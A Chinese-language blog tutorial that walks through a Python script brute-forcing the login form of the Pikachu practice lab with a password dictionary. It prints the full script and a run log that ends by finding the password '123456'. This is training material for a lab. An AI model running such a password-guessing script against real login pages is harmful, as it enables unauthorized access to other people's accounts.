当前位置：首页 > article >正文

Python实战：基于表单的暴力破解——以Pikachu靶机系统为例

article 2024/12/24 6:47:27

Python实战：基于表单的暴力破解——以Pikachu靶机系统为例

引言：

在渗透测试中，暴力破解是一种常见的技术，用于破解登录表单的凭据。本文将详细介绍如何使用Python实现针对Pikachu靶机系统的基于表单的暴力破解，特别关注于已知用户名的情况。我们将使用requests库来发送HTTP请求，BeautifulSoup库来解析HTML响应。

一、环境准备

确保你的Python环境中已安装以下库：

requests：用于发送HTTP请求。
BeautifulSoup：用于解析HTML响应。

如果尚未安装，可以通过以下命令进行安装：

pip install requests beautifulsoup4

二、分析目标网站

首先，我们需要访问Pikachu靶机系统并检查登录表单的结构。通常，登录表单会包含用户名和密码输入框，以及一个提交按钮。我们还需要知道表单的URL和提交方式（通常是POST或GET）。

在这里插入图片描述

三、编写Python脚本

以下是一个简单的Python脚本示例，用于基于已知用户名的暴力破解：

import requests
from bs4 import BeautifulSoup

# 目标URL
url = "http://192.168.3.101/pikachu/vul/burteforce/bf_form.php"  # 请替换为实际的Pikachu靶机系统登录URL

# 已知的用户名
username = "admin"

# 密码字典文件路径
password_file = "passwords.txt"


def login_attempt(username, password):
    session = requests.Session()
    response = session.get(url)

    # 构建表单数据
    data = {
        'username': username,
        'password': password,
        'submit': 'Login',
    }

    # 发送POST请求
    response = session.post(url, data=data)
    with open('response.txt', 'w') as f:
        f.write(response.text)
    # 检查是否登录成功
    if "login success" in response.text:
        print(f"[+] Password found: {password}")
        return True
    else:
        print(f"[-] Incorrect password: {password}")
        return False


# 读取密码字典文件
with open(password_file, 'r') as file:
    for password in file.readlines():
        password = password.strip()

        # 尝试登录
        if login_attempt(username, password):
            break

四、运行脚本

将上述脚本保存为一个.py文件，然后在终端中运行它。脚本将遍历密码字典文件中的每个密码，并尝试使用给定的用户名进行登录。一旦找到正确的密码，脚本将终止并输出结果。

/Users/liuxiaowei/PycharmProjects/MyToolsProject/.venv/bin/python /Users/liuxiaowei/PycharmProjects/MyToolsProject/Kali系统实验/burp_test.py 
[-] Incorrect password: abcdefg
[-] Incorrect password: abcd
[-] Incorrect password: root
[-] Incorrect password: root123
[-] Incorrect password: admin
[+] Password found: 123456